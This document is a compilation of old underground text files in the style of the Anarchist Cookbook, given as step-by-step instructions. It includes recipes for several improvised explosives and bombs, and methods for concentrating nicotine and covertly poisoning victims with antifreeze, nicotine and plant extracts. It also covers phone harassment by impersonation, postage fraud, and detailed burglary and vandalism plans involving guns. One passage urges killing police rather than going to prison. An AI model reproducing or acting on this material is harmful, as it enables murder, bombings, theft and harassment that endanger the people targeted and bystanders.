	Finally, place this explosive into a cool, dry place.  Avoid friction, sulfur, sulfides, and phosphorous compounds.  This explosive is best molded to the desired shape and density of 1.3 grams in a cube and dipped in wax until water proof.  These block type charges guarantee the highest detonation velocity.  Also, a blasting cap of at least a 3 grade must be used.



	The presence of the before mentioned compounds (sulfur, sulfides, etc.) results in mixtures that are or can become highly sensitive and will possibly decompose explosively while in storage. 



Plastic explosives By: Sir Knight



Materials:



              Gasoline  	- 1 part

              Oil       	- 1 half part

              Styrofoam 	- 1 part



1 Melt Styrofoam (remember NEVER at ANY time let the mixture get too hot)!  NOTE:  Do NOT inhale the fumes - they are deadly!



2 Let cool to a thick viscosity.



3 Mix 3 ingredients together in the following order: Styrofoam, oil, &  gas.



4 Mix in a deep pot - Keep mixture away  from any type of fire! Do this step with extreme

caution!



5 Let  the mixture cool to a little bit warmer that room temperature, which is around 88 degrees

Fahrenheit.



6 Mold  the mixture  how  you  want  (different  shapes will make it more or less lethal).



Phone Fun  By: Phrack INC.



Vengeance is mine,” says the Phreak.



Scenio:  Somebody has been causing you many problems, so what do you do?  Kick his ass?  Well, that will always do, but sometimes it is not sublte enough of a response.  What you can do is to fuck with his phone, that always gets a rise out of people.



Method 1:  Phone Line Fun



	Call up the business office.  It should be listed at the front of the white pages.  Say you wanted to disconnect your targets line: DIAL 800-xxx-xxxx. 



	"Hello, this is Mr. Target, I'm moving to California and would like to have my phone service disconnected. I'm at the airport now.  I'm calling from a payphone, my number is  [414] 445 5005. You can send my final bill to: (somewhere in California). Thank you."



Method 2:  Phone Books 



	all up the business office from a pay phone.  Say: "Hello, I'd like to order a Phone Book for any out-of-the way area with Direct Dialing.  This is Mr. Target.  Ship to targets address..  Yes, I under stand it will cost $xx ($25-$75!!). Thank you."



Method 3: Misc Services



	Call up the business office once again from a payfone.  Say you'd like call waiting, forwarding, 3 way, etc.  Once again you are the famed loser Mr. Target.  



Method 4: Change the number and being unpublished.



	Do the same as in #4, but say you'd like to change and unlist your (target’s) number.  Anyone calling him will get:  "BEW BEW BEEP.  The number you have reached, xxx-xxxx, has been changed to a non-published number.  No further....."



Method 5: Call Forwarding



	This required an accomplice or two or three.  Around Christmas time, go to Toys 'R' Us.  Get everyone at the customer service or manager's desk away ("Hey, could you help me").  then you get on their phone and dial (usually dial 9 first) and the business office again. This time, say you are from Toys 'R' Us, and you'd like to add call forwarding to xxx-xxxx.  Scott will get 100-600 calls a day!



Phone Dial Locks - How to Beat'em Courtesy of Exodus & Red Phaze



	Have you ever been in an office or somewhere and wanted to make a free phone

call but some asshole put a lock on the phone to prevent out-going calls? Fret no more fellow phreak, for every system can be beaten with a little knowledge!



	There are two ways to beat this obstacle, first pick the lock, I don't have the time to teach locksmithing so we go to the second method which takes advantage of telephone electronics.



	To be as simple as possible when you pick up the phone you complete a circuit known as a local loop. When you hang up you break the circuit.  When you dial (pulse) it also breaks the circuit but not long enough to hang up! So you can "Push-dial."  To do this you RAPIDLY  depress the switchhook. For example, to dial an operator (and then give her the number you want to call)  RAPIDLY & EVENLY depress the switchhook 10 times.  To dial 634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc.  It takes a little practice but you'll get the hang of it.  Try  practicing with your own # so you'll get a busy tone when right.  It'll also work on touch-tone (tm) since a DTMF line will also accept pulse.  Also, never depress the switchhook for more than a second or it'll hang up!



	Finally, remember that you have just as much right to that phone as the asshole who put the lock on it!  



	In addition to these, Radio Shack now makes a cool little tool that stores numbers into memory.  The handy thing is you put it to the transmitter part of the phone and hit MEM1 and it generates the tones.  So, if you want to make a call, you can put this little toy up to the transmitter and dial out.  (Isn’t technology grand?)



Poor Man's James Bomb By: The Jolly Roger



Materials:



1-liter or 2-liter plastic soda bottles

aluminum foil

printed circuit board etchant (available at Radio Shack, or other electronics stores)



Procedure:  	Somehow obtain a few 1 or 2 liter bottles (we prefer the 1-liter size).  Shred  aluminum foil into small strips about 1X2 inches.  Fill bottle with strips  until the bottle is about 1/4 full.  When ready to detonate, pour in enough  etchant to fill the bottom of the coke bottle about 1/2 inch deep.  As quickly as possible screw the cap back on, and make sure it is on tight.  Then throw  the bottle at your intended target, and run (like hell is on fire).  When enough  pressure has built up, ***BOOM***.  If it doesn't explode, do not pick it up.   Because it is VERY hot, and it could still explode if disturbed.




Variations:  Pure etchant is excellent for eating away Mr. Neighbor's over-chromed

Cadillac. It always makes a permanent mess on Mr. Neighbor's driveway too.



Tips:  	It is easier to pour the etchant into an empty plastic dish washing bottle so it makes it easier to pour. Etchant has a tendency to permanently stain any clothes it touches.  Unless you are suicidal, DO NOT use glass bottles!  They have a nasty habit of exploding at very

unpredictable times.



Poisons By: Armagedon, The Jolly Roger, and Vortex



	The first and probably least known way to main (such a nice word) someone is thought the use of various herbal extracts (no I don’t mean Sinsemella)



Diffenbachia (dumbcane)



	Take 2 leaves and boil in water (don’t inhale the fumes)  When the water becomes a greenish color:  Take the leaves and throw them away.  Now take the liquid and 
add it to the victims food or drink.  The victims drink goes kaput



Ethylene Glycol:



	Ethylene Glycol is simply antifreeze such as Prestone, Zerex, etc. It has a sweetish-like taste to it and can be easily concealed in a bowl of punch, or someone’s soft drink.  At a party, ethylene glycol can be easily poured from  a container such as a kool-aid pitcher into the party punch. Be sure it is mixed with a package of kool-aid or something so that you don't arouse any

suspicion. The lethal dosage of this is about four ounces and the good thing about ethylene glycol is that a person that is dying from it simply appears

to be drunk...



Oleander	



	Take a twig of this bush and grid it into a fine powder.  Place the powder in the salt shaker or substitute it for any other within 3-4 hours.    Sometimes quicker.



Poison Oak/Ivy



	Take the leaves and either grind into a powder or boil until the water turns a brownish/green color.  Then add a few drops or grams to a victims beverage.  It tends to destroy a victims vocal cords



Nicotine




	
Nicotine is an abundant poison. Easily found in tobacco products, in concentrated form a few drops can quickly kill someone. Here is how to concentrate it:



     
	
First get a can of chewing tobacco or pipe tobacco. Remove the contents and soak in water overnight in a jar (about 2/3 cup of water will do). In the morning, strain into another jar the 

mixture through a porous towel. Then wrap the towel around the ball of tobacco and squeeze it until all of the liquid is in the jar. Throw away the tobacco--you will not need it anymore.



Now you have two options. I recommend the first, it makes the nicotine more potent:

     	1. Allow to evaporate until a sticky syrup results in the jar. This is almost pure nicotine (hell, it is pure enough for  sure!). 

     

	2. Heat over low flame until water is evaporated and a thick sticky syrup results (I don't know how long it takes, shouldn't take too long, though.).



     
	
Now all you have to do, when you wish to use it, is to put a few drops in a medicine dropper or equivalent, and slip about 4 or 5 drops into the victim's coffee. Coffee is recommended since it will disguise the taste. Since nicotine is a drug, the victim should get quite a buzz before they turn their toes up to the daisies, so to speak.




Note:
 If the syrup is too sticky, dilute it with a few drops of water. And while you are at it, better add an extra drop to the coffee just to be sure!



Nicotine Sulfate 

  

	This is one of the most interesting poisons of mine. It is obtained as an insect poison found under several names. One of the most common is Black Leaf 40, found at any garden store. It is 40% nicotine sulfate. It is most effective if it is evaporated to a thin syrup. The interesting thing about nicotine sulfate is that it is absorbed through the skin.  An effective way to use this is to carry it around in a soft drink then "accidentally" spill on victim. If he does not wash it off in a matter of seconds he'll be dead in a matter of  minutes. Most likely, the victim will just forget about it if he thinks it is just a soft drink.



Vinegar Poison



	This is a very simple poison to make with almost no materials needed.  Take a lead or copper container and store vinegar in it for a long time it will then turn to into a deadly poison.



Visine 



	Get those eye drops called visine and put 2 or 3 drops in someone’s drink and in

about 15 minutes they will let out loud, wet, explosive bursts from their ass. It won’t end their life, but it may ruin their social life.



Postage By: The Jolly Roger



	The increasing cost of postage to mail letters and packages is bringing down our standard of living.  To remedy this deplorable situation, some counter control measures can be applied. 

	

	For example, if the stamps on a letter are coated with Elmer's Glue by the sender, the cancellation mark will not destroy the stamp: the Elmer’s dries to form an almost invisible coating that protects the stamps from the cancellation ink. Later, the receiver of the letter can remove the cancellation mark with water and reuse the stamps. Furthermore, ecological saving will also result from recycling the stamps.  Help save a tree. The glue is most efficiently applied with a brush with stiff, short bristles.  Just dip the brush directly into the glue and spread it on evenly, covering the entire surface of the stamp.  It will dry in about 15 minutes.



	For mailing packages, just follow the same procedure as outlined above; however, the package should be weighed and checked to make sure that it has the correct amount of postage on it before it is taken to the Post Office.



	Removing the cancellation and the glue from the stamps can be easily accomplished by soaking the stamps in warm water until they float free from the paper.  The stamps can then be put onto a paper towel to dry.  Processing stamps in large batches saves time too. Also, it may be helpful to write the word 'Elmer' at the top of the letter (not on the envelope) to cue the receiving party in that the stamps have been protected with the glue.



	We all know that mailing packages can be expensive.  And we also know that the handicapped are sometimes discriminated against in jobs. The Government, being the generous people they are, have given the blind free postal service. Simply address you envelope as usual, and make one modification. In the corner where the stamp would go, write in (or stamp) the words 'FREE MATTER FOR THE BLIND".  Then drop you package or letter in one of the blue federal mailboxes.  Do not take the letter to the post office or leave it in your mailbox. Sounds very nice of the government to do this, right?  Well, they aren't that nice.  The parcel is sent library rate, that is below third class.  It may take four to five days to send a letter to just

the next town. 



	This too is quite simple, but less effective.  Put the address that you are sending the letter to as the return address.  If you were sending a $20 donation to the pirate's Chest, you would put our address (PO box 644, Lincoln ma. 01773) as the return address. Then you would have to be careless and forget to put the stamp on the envelope.  A nice touch is to put a bullshit address in the center of the envelope.

	


	
Again, you MUST drop the letter in a FEDERAL mailbox.  If the post office doesn't send the letter to the return address for having no stamp, they will send it back for the reason of "No such address".



Example--



Pirates Chest  Dept. 40DD

P.O. Box 644865

Lincoln, Ma. 41773



	            	    Tom Bullshit


        	  	    20 Fake Road


	
                What Ever, XX     99851



	One last thing you might try doing is soaking a canceled stamp off of an envelope, and gluing it onto one you are sending.  Then burn the stamp, leaving a little bit to show that there was one there.



Potassium Permanganate Bomb  By: The Jolly Roger



Materials:



Glass Container with cap

Few drops of gasoline

Potassium Permanganate (Get this from a snakebite kit)



Procedure: Put a few drops of gasoline into the glass container and turn the container around to coat the inside of the container.  The add a few drops of potassium permanganate and cap the container.  To detonate throw against a solid object.  When you throw it: run like hell!  This think packs the punch of 1.5 sticks of dynamite.

 


Safety tips How not to get killed
.  Courtsey of  Red Phaze



        An "own goal" is the death of a person on your side from one of your own devices. It is obvious that these should be avoided at all costs. While no safety device is 100% reliable, it is usually better to error on the side of caution.



Basic Safety Rules:



1) Don’t Smoke!  (don't laugh - an errant cigarette wiped out the Weathermen)

2) Grind ingredients separately. It's surprising how friction sensitive "safe" explosives really are.



3) Allow for a 20% margin of error - Just because the AVERAGE burning rate of a fuse is 30 sec/foot, don't depend on the 5 inches sticking out of your pipe bomb to take 2.5 minutes.



4) Overestimate The Range of your shrapnel. The cap from a pipe bomb can often travel a block or more at high velocities before coming to rest - If you have to stay nearby, remember that if you can see it, it can kill you.



5) When mixing sensitive compounds (such as flash powder) avoid all sources of static electricity. Mix the ingredients by the method below:



How to Mix Ingredients: 



The best way to mix two dry chemicals to form an explosive is to do as the small-scale fireworks manufacturer's do:



Use 1 large sheet of smooth paper (a page from a newspaper that does not use staples)



1 Measure out the appropriate amounts of the two chemicals, and pour them in two small heaps near opposite corners of the sheet.



2 Pick up the sheet by the two corners near the powders, allowing the powders to  roll towards the middle of the sheet.



3 By raising one corner and then the other, roll the powders back and forth in the middle of the open sheet, taking care not to let the mixture spill from either of the loose ends.



4 Pour the powder off from the middle of the sheet, and use immediately. If it must be stored use airtight containers (35mm film canisters work nicely) and store away from people, houses, and valuable items.



Street Commandments  By: Arcum Daggson



Thou shall not get caught.



When questioned by the man:  You know nothing (especially where you got this manual.)



To beat lie detectors, ask them to sign a form which says they’re liable for anything that happens 	to you.

If forced to answer questions on a lie detector answer all questions “I do not have clear enough 	recollection to accurately answer where I feel I do not jeopardize giving false 	infoformation”



When questioned in person, keep your eyes closed.  The lights are bright anyway and they 	can gauge your answers by you eye movement.  Besides:  It pisses them off.



Never give up any information.  If this cannot be done give false information or information 	which they already posses.



The bond of the street is too great to allow NARCs to live.  Don’t take someone down to get 	yourself out of shit.  You only get yourself deeper by NARCing.



Take the heat of the entire job on your own shoulders, other will praise your name.



Remember learn from others mistakes.  You don’t get to many too many of your own without 	getting caught.



Death is an honorable escape versus prison only if you take at least one cop out with you.  	Think of it, using this theory even if the anarchy suffered heavy causalities, how bad 	would the cops suffer?



Smoke Bombs  By: Exodus & The Jolly Roger



	One type of pyrotechnic device that might be employed by a terrorist in many way would be a smoke bomb.  Such a device could conceal the getaway route, or cause a diversion, or simply provide cover.  Such a device, were it to produce enough smoke that smelled bad enough, could force the evacuation of a building, for example.  Smoke bombs are not difficult to make.  Although the military smoke bombs employ powdered white phosphorus or titanium compounds, such materials are usually unavailable to even the most well-equipped terrorist. Instead, he/she would have to make the smoke bomb for themselves.



	Most homemade smoke bombs usually employ some type of base powder, such as black powder or pyrodex, to support combustion.  The base material will burn well, and provide heat to cause the other materials in the device to burn, but not completely or cleanly.  Table sugar, mixed with sulfur and a base material, produces large amounts of smoke.  Sawdust, especially if it has a small amount of oil in it, and a base powder works well also.  Other excellent smoke ingredients are small pieces of rubber, finely ground plastics, and many chemical mixtures.  The material in road flares can be mixed with sugar and sulfur and a base powder produces much smoke.  Most of the fuel-oxidizer mixtures, if the ratio is not correct, produce much smoke when added to a base powder.  The list of possibilities goes on and on.  The trick to a successful smoke bomb also lies in the container used.  A plastic cylinder works well, and contributes to the smoke produced.  The hole in the smoke bomb where the fuse enters must be large enough to allow the material to burn without causing an explosion.  This is another plus for plastic containers, since they will melt and burn when the smoke material ignites, producing an opening large enough to prevent an explosion.



Easy Example of a Smoke Bomb:

	

4 parts sugar

6 parts potassium nitrate



	Heat this mixture over a LOW flame until it melts stirring well.  Pour into a future container and before it solidifies, imbed a few matches into the mixture to use a fuses.  One pound of this stuff will fill up a whole block with a thick, white smoke.



100% Safe Combo:  The following reaction produces a fair amount of  smoke and is not  all the dangerous, you can use larger amounts if necessary for larger amounts of smoke.



6g Zinc powder 

1g Sulfur Powder



	Insert a red hot wire into the pile and step back.







Sodium Chlorate Bombs By The Firestarter, Shadow and Crisp



	After years of using traditional shotgun shell powder in our pipe bombs, we found a new cheaper way of making better and more powerful explosives, why is it better I here you ask, well for a start it smokes like hell, where as nitrocellulose (shotgun shell powder) does not, it also burns for longer, making it a good incendiary, and we managed to vaporise an empty coke can, so as you can see this is not shit to mess about with.



OK so now to make it:



	You will need to get "Sodium Chlorate weed killer" you can't normally buy it unless you 18, but they don't read the small print here. While your getting that buy some sugar.



Simply mix the two at a 1:1 ratio, that’s it.



	Try putting some in a paper bag and lighting it. It burns for ages, and gives off loads of smoke.  If you wanted you could mix it with a flammable liquid.



	You don't need to use a lot in a smoke bomb and it's great fun. Shadow put some in a pipe and made a roman candle, the pipe melted, it was made from steel. 



	The only problem I know of is that it can be ignited with friction, and it is a bit of an ass to light, you can get it going with a normal flame from a lighter, but it takes a while to get going, a normal fuse should light it, where as shoving a "just struck" match in it lights it instantly.



Solidox Bombs By: The Jolly Roger



	Most are not aware that a volatile, extremely explosive chemical can be bought over the counter:  Solidox.



	Solidox comes in an aluminum can containing 6 gray sticks, and can be brought at Kmart and various hardware supply shops for around $7.00.  Solidox is used in welding application as an oxidizing agent for the hot flame needed to melt metal.  The most active ingredient in Solidox is potassium chlorate, a filler used in many military application in the WW II era.



	Since Solidox is literally what the name says:  SOLID Oxygen, you must have an energy source for an explosion.  The most common and readily available source is common household sugar or sucrose.  In theory the glucose would be the purest energy source, but it is hard to find a solid supply of glucose.



Procedure:  Open the can of Solidox and remove all 6 sticks.  One by one, grind up each of the sticks(preferably with a mortar and pestle) into he finest powder possible.  The ratio for mixing the sugar with the Solidox is 1:1.  So weigh the Solidox powder and grind up the equivalent amount of sugar.  Mix equivalent amount of Solidox and sugar in the 1:1 ratio.  It is that simple.  You now have an extremely powerful substance that can be used in a variety of applications.  



Caution:  Be extremely careful in the entire process.  Avoid friction, heat, and flame.  A few years back a teenage I knew blew 4 fingers off while trying to make a pipe bomb with Solidox.







Stealing  By: Exodus & The Jolly Roger



	It is strange just how many files there are out there that try to document the art of stealing.  After all, it IS an art.  You have to  be calm, smooth, persistent, patient.  Stealing is not an overnight-planned operation.  You should try to prepare for at least a week or more when planning to steal from a house, and even LONGER when from a business.  Story time, kiddies:



	A long time ago, well, in the past year, my friends and I noticed that the building complex in our town was the perfect place to obtain unpaid-for items.  We learned all we could about the complex, which was about 365,000 square foot, and each company consisted of an office (fully furnished with cool computer stuff), and a 10,000 sqft (roughly) warehouse, all interconnected, and all one level.  This information was obtained through several calls to the town committee (board of development, or some shit like that, the place that you call for building permits, and the like.), and we obtained the blueprints for the whole complex.  We planned a route from the side entrance through the warehouse, and into the offices, where all the good stuff is usually located.  Now that we had our route, all we needed was a plan to get inside.  



	Since this was our first major job, we spent a few good weeks on preparation.  During the snow weather, we worked with a company to shovel the sidewalks of the complex.  One night, at about 11 PM, we stopped shoveling in front of our planned job site, Campbell’s Soup, Co.  There was nobody there except the janitors that cleaned up the place (or so we thought).  I asked the janitor if I could use the bathroom (I did have to go too) and he let me in.  I must have surprised him when I knew exactly where the bathroom was!  As I walked to it, I scanned for video cams, infrared guns/receivers (little boxes at entrances with a black glass square about 1" sq. at about knee height on each side).   Nothing. The doors all had security magnetic detection at the tops, and also the windows.  To think someone would break in through an obvious place like a large window, stupid.  



	To my surprise, there were a few losers working late, and didn’t really care that I was there at all.  Take another Viverin' guys, I wont be here long.  The smell of black coffee was stifling.  The bathroom was located back by the office's entrance to the warehouse, and to my surprise, it was unlocked!  The lights were on, and the place was totally empty, except for a few cardboard remains, and shelves, and that blessed side door.  I walked over to the door to examine it.  No security, no video cams in the warehouse, no nothing.  Odd, usually these warehouses were kept tight as a hookers pussy.  But it looked like they were packing up to move somewhere.  Boxes on the office desks, etc..  The door was locked with a key dead bolt (pain to pick) and a regular door-knob key lock.  No problem.  I needed to stop that dead bolt from being locked, so I looked around for something to use....aha!  There was some strange material like aluminum foil on the ground, pliable, yet of a black color.  I took out a small Allen key (a thief never goes ANYWHERE without a small lockpicking tool) and crammed enough of the stuff into the keyhole so that a key could not be inserted far enough to turn, and the stuff was inn to far to be pulled out.  



	Viola!  Back to the point of this story.  When the time came to make our move, something strange happened.  The place was abandoned for 3 days straight, most office equipment removed, and the front door left ajar, for all 3 days.  We still decided to enter via our planned route.  At 1:30am we went to the side door, and what a surprise, the dead bolt lock was open.  Now to the knob lock.  It was still locked, but not a problem.



	The top sliding piece is about 1/4" wide on popular locks, with the bar facing you, if the door swings outward.  With the smallest allen key you can get, stick it in and repetitively push and slide it back towards the knob, but don't let go, because it is spring loaded and will snap back into place again.  Now for the larger bar.  Take another key and wedge it into the slot where the bar enters the other wall (without the knob on it)! and do the same thing.  This will be considerably harder to do than with the small tongue, but if you practiced like you should have, it will open with minimum effort.  Now we were inside.  We ran through the warehouse through the warehouse/office door (these are rarely locked, but try to prepare for it ahead of time by "cramming the lock" like I did) and into the office.  The place was empty, no shelves, just desks, chairs, and boxes.  The boxes contained modems, motherboards, bus cards, printers, cables, phone cable, and one contained a Zenith laptop computer!  No shit, this is a true story!  We took everything we could carry (5 people).  We took all the above mentioned, as well as printer toner, phones, phone jacks, documents, desk chairs, insulated  boxes and bags (static-free kind), even the little shit things, like outlet plates, light bulbs, ANYTHING!!!  We went really crazy, and were out in 2 min. 30 sec.(always set a time limit) 

   

	 We wound up throwing half the shit away, but it felt great just to take anything that was not ours!! I have since then done other "jobs" with much more precision, and effort, as well as better rewards.  Here are some tips that should be followed when attempting to steal::



WEAR GLOVES!!!!!!!!!!




	
Backpacks for everyone to put the loot in




	
Always case the joint for at least a week and keep documented records of who leaves when, what time it closes, timed lights, etc...




	
Have at least 4 friends with you, and ,please, make sure they know what they are doing, no idiots allowed!




	
Bring too
ls :small Allen keys, both types of screwdrivers, standard size, and tiny, hacksaw blade, wire cutters and strippers, spray paint-to leave your handle on the wall, hammer, mace, gun-if  available, flashlights (duh), wire-good for re-routing door security, and bolt cutters.




	
Designate a person to carry all the tools ONLY-don't have him pickup stuff and mix it with the tools, this will only slow you down later if you need to look for a tool quickly.




	
Designate a person to STAY PUT by the door and keep watch.




	
Designate a timer, one who has a lighted stopwatch.




	
Make runs No Longer that 3 minutes.  Even this time is extremely high, try to keep as low as possible.




	
Getaway vehicle (preferably NOT a van or pickup truck, these will  be very suspicious to the pigs..er.I mean cops.  And don't speed, or anything, this just attracts attention.  Cover licensee plates till just before you get your asses going, so no one can report the plates to the pigs..oops!, damn, did it again, cops.  Make sure you remove covering before leaving.




	
Always keep flashlights pointed DOWN unless necessary, crawl under windows, no shouting, even if you find some fucking cool shit, on second thought, maybe painting your handle is a little stupid, so forget that, wear dark clothes OVER regular, non-suspicious clothes  (get changed first thing in the car)




	
Never brag about your findings in public, only on modem, or on BBS,  and never give names of places, friends, and exact names of things  taken, (just say you 'borrowed' a 486DX 33 motherboard, don't say is a Intel 486DX 33 MHz for an IBM PS/1 model 50, serial  #XXXXXXXXXXXX.  that is just plain dumb)




	
Have fun!! And never steal from your neighborhood.  



	If you are going to break into houses, never move stuff around; the longer it  takes the yuppie family to realize that you were there, the better.




	
WEAR GLOVES!!!!!!!!!!!!!




	
To get in windows: shoot window with BB gun, and place clear,  sticky hard-cover book covering on the window over the hole,  hopefully the impact of the shot was enough to crack the glass, and LEAN OR PUSH on the covered glass, do not hit or kick, and you will see that the majority of the glass will stick to the covering, and will make considerably less noise.




	
Enter through basement windows preferably under a deck or steps.




	
Make sure the people will be gone for the night and the neighbors are asleep (Go for around 2:30 AM)




	
Take stuff that will sell easily to friends, and don't waste time taking things that look neat, just take the basics:  electronic, computer, TV, VCR, some jewelry-things you could easily hock, preferably without inscriptions, raid the fridge, take good quality phones, stereo equipment, speakers, etc..




	
Always case the outside of the house looking for security stickers that yuppie families like to place in full view.




	
Do mischievous shit like cut all phone lines in house, cut up couch cushions, and flip them over so they look perfectly normal; shoot a hole in their fish tank, (all yuppies own fish); slash clothes, then put them back into the drawer; unplug fridge; set thermostat way up to 99.9 degrees; leave drain plugged and let the faucet run just a little, (for 6 hours!!); whatever you can't take or carry out, destroy in a subtle way, if you can't carry out those 130 lb. wood case stereo speakers, slash the cones; break ball-point pens open and rub them into the carpet with their shoes; run a magnet over audio and VCR cassettes and floppies, and anything else subtle that would brighten their day.



Stealing: Advanced  By: Red Phaze



	Now, because I know Jaden, I know that somewhere in this file he will have the stealing file from the Anarchist cookbook by Exodus.  This is a very good file to read.  In fact, when I first read it I was amazed at how well written it was.  Now however, you are going to get my file.  



	Read it, live it, learn it, love it.  This file is a great way to plan a heist.  The last time we pulled a job I wrote down things one by one to make sure I got them all.  This file is the complete way to pull of a job that has worked 39 times for me.  Now, on with the show.



	For starters you need a team.  Small numbers of people work better (no herds of cattle thank you!)  Five people is the optimum number.  Now to make things easier, I am going to divide up what you will need to do.



	Before you even start thinking about pulling off a job, get a tool kit assembled.  In fact you are going to need 5 tools kits.  One large one and four small ones.  Each member of your team (5 members) will have small kit, except the person who has the large one.  The large kit contains every the small one does and more.  Here are the contents and explanation of why each thing is in there:




Small Kit:



Flashlight Wristband:  These can be purchased, but are simple to make.  Take a wrist band and cut two slots into it.  Then slide two Maglights into the cuts and ties the ends together with wire.  The reason why I recommend this method is because the flashlights need to held, and if you strap them to the backs of you hands then that is one less thing you have to carry.  Plus, if you have two flashlights and one goes out, you don’t have to fumble around looking for another.  Finally, because they are on the backs of your hands, what you are working on gets maximum light.



Knife:  This you pick for the self defense aspect.  I prefer a sheathed blade because it is strapped to your belt for maximum access.  If you don’t like a sheathed blade, that’s fine but you might want to really consider using one.



X-Acto Knives:  Those little model knives.  I recommend these because they are small enough to fit up selves.  They are good for throwing when getting chased.  Pigs..er...ah...I mean cops (sorry) don’t like things thrown at them.  



Wire Cutters:    Good for working on fences.  I suggest the small 6 inch kind: they fit into pockets easily and cut just as good as any other.



Hex Keys or Allen Wrenches:  Get a set but you only need the four smallest ones.  If you are really good then you can pick locks with them.  However, they are also good for jamming locks with.  



Screwdrivers:  This is where personal feeling comes in.  You will need micro screwdrivers for picking desk locks or for jamming locks.  I also recommend a good mix of regular and Phillips screwdrivers.  My kit includes 3 wide flats, 2 narrow flats, 2 Phillips, 1 ice pick, and 1 door stopper. What I call a door stopper is that flat head screwdriver that has like a 3 inch handle.  You simply hammer it behind a door and wow:  doorstoper.



Mace:  Good for when guards waddle past unexpectedly.



Other stuff:  Needle Nose Pillars, Garrote Wire, Electrical Tape.  In addition to this stuff you should add any other things you think will be useful.  A tumbler release gun is useful if you have the finances for everyone to have one, but you only really need one.  This should stay with the main kit.  Also, each member of the team should have a gun if possible.


Large Kit:



	In addition to all the other things the small kits have, the following should be added to the large kit.  



Bolt Cutters:  Good for getting around master locks on chains, usually good on gates.  Just cut the chain.



Tumbler Release Gun or Lockpicks:  You should have a least one tumbler release gun or a good set of lock picks.  In the ideal run, everyone would have a tumbler release gun or picks, but the minimum is one.



Hacksaw:  If a lock cannot be gripped by the Bolt Cutters then you’ll have to use the hacksaw.  Plus they are fast on fences other than the bolt cutters.  



Medical Kit:  In case someone gets hurt while on the job, you can’t go to the hospital if you get hurt at the site and leave blood so you’ll have to bring everything you need with you. 



Fishing Line:  People who know what they hell they are doing will know why this is in here.  If you don’t know what to do with this, then don’t include it.



Other stuff:  The person who has the Large Kit should have a shotgun or sub-machine gun if available.  He should also carry extra clips and rounds for everyone.  It would suck if you got into a fire fight and only had 1-2 clips each.  At least this way you can hold out of a while.  Also you will want to carry the components for bombs, such as the ones for fertilizer bombs or Drano bombs.  Final things you may want are flares, fishing hooks, and anything you think you will need.  Better to be over equipped than under equipped.



	Now that you have the tools, you need some way to carry them.  A backpack is a good way to carry the large kit, however, you don’t want a back pack for smaller kits.  The reason is you will want the backpack to put shit into and you NEVER want your tools mixed in with you goodies.  There are two reasons for this:



	1.  If you need a tool you don’t want to have to root for it though a shit load of tools

	2.  You will be wearing gloves during the heist, and you can ditch the goods, but you don’t ever want to leave behind your tools.  Too many ways that fingerprints can be pulled off.



	Personally, the way that I carry my tools is in a military vest.  Goto the neighborhood army surplus store and stock up on some shit they carry there.  They sell vest, dark green or black will do.  These vests have slots for all the goodies you will need.  In fact, you might be able to get a DEMOLITION vest.  These vest are made for maximum access to their contents.  On the topic of army surplus stores:   These are great places to get knives.  Don’t buy their gay Swiss army knives.  Buy a real knife, theirs are 99% of the time army issue daggers.  Also, they usually have a lot of books.  



	One side note:  Remember the owners of these stores are not cops and will not give a shit if you are not fucking with them.  In fact, the owner of the local army surplus store is my fence.  The shit I steal: he sells.  Now this not to say that all army surplus store owners are as cool as this:  But mine is.



	Now you got the tools, you got the way to carry them.  Now what?  Well, next you are going to have to learn a little about the place.  



	Remember when I said the max. number is 5?  Well, if you really want to you can extend this to 6, BUT NO MORE THAN THAT!  However, more trustworthy people can get in on the job, in a less active way.  You need to case the joint.  So, if there are a few people that can help you case the joint:  The more the merrier.



	First of all, when casing a joint try to get someone on the inside, preferably on the night cleaning crew.  That way you will have 100% of the information to do with the number of people, guards, location of equipment, which doors are chained, which doors are locked.  This job must be taken by someone with an IQ high than 3.  If you can get someone on the inside your job becomes so much easier.  85% of the other leg work can be avoided.  However, if you can’t get someone on the inside, then here is how to go about casing the joint the hard way:



	First, if you are thinking of casing a business make it a small to middle size business.  Do not use this to try and break into a corporation.  Why??  Because the majority of the big corps have ex-mercs or ex-SEALS doing their security and they will KOS.  (Kill On Sight)



	Now if you are casing a house, try to stay about half a block away when doing the observation.  You will need to check it a various times of day.  Also, deliver flyers to the house, (but make sure you do the other side of the street)  Get the phone number, do multiple surveys (from payphones, because the cops will check phone records).  Also, have people that will not be doing the actually thieving case a house.  Have them go door to door selling shit, magazine subscriptions: something (I don’t care what)  



	If you are casing a business change up cars often.  Very often.  In fact if you can don’t work from a car at all.  Cars can’t be changed much be us punks all look the same and we can shave a beard, or grow a mustache, or change our hair color in about 15 mins (except the mustache part)  What you will be doing is logging certain  important information such as:



	What time to people come and go?

	Who is the last to leave?

	How many security guards are there?

	Is there a nighttime operator? <-------This will almost always indicate a large company

	Do the light come on at a regular time?  <--------Timer lights

	Is there a cleaning crew?

	

	Now leave a few people with high IQ to be working on this.  Next Goto city hall, hall of records, city planner, where the hell it is in your town that building records are kept.  You will be looking for mainly water and sewer.  In some smaller town the actual blueprints of a building are on file with the city, if this is the case, then you hit pay dirt.  If not you will usually get a rough sketch of the building with the sewer.  (and yes, I am thinking what you are think!)



	Next you need to know what you are stealing.  If you have someone on the inside, then you don’t need to do this step, but if you don’t this is very important.  Now, you are going to have to learn alot about the building.  So, get some names of people in the building.  Now get a nice shit, a nice pair of pants, and a tie or vest.  Buy some flowers $20 bucks or so.  Then make up some names on a formal sign in sheet, and then go in to deliver the flowers.  Sign the card To MRS. BLAH BLAH...your secret admirer.  While you are in there study your ass off, get fucking lost, be on the wrong floor, just to get a look.  Make it look like you are lost (in fact unless you have seen the blueprints you probably will be)  Try to check out a few floors, and see which ones have the most shit on them.  Then deliver the flowers (you might get a tip and get back some of your money.)  Now go looking for a bathroom, to give you more time to check shit out.  While there check out for all the gay cameras, infra red dectors, motion detectors, all the good shit.  Make notes of where it is at.  



	Now, add all this information up, and you should have a pretty nice idea of the place.  Remember when I said that I knew what you were thinking?  Well, the first means of getting in, is going to be the sewer.  Some places have sewer drains inside the building.  Now this is not as nasty as you might think.  I would never root though shit (and I don’t think you want to either!).  The sewer drain is actually for water.  So it not a bad idea to check this out.  In my neighborhood about 10 places have sewers in the building so I can steal fro them on a normal basis.  Well, if can’t use the sewer, then you will have to make other means.



	Now, comes the instructions for actually getting in and what to do (about fucking time)

First, set a time limits:  150 seconds.  Don’t push more than this.  This may not seem like enough time, but it is.  You will appreciate it when you trip a silent alarm and the pigs (er..I mean cops, really I do) get there and you are already gone.



	Second, one person keeps track of the time.  When they say go:  you go



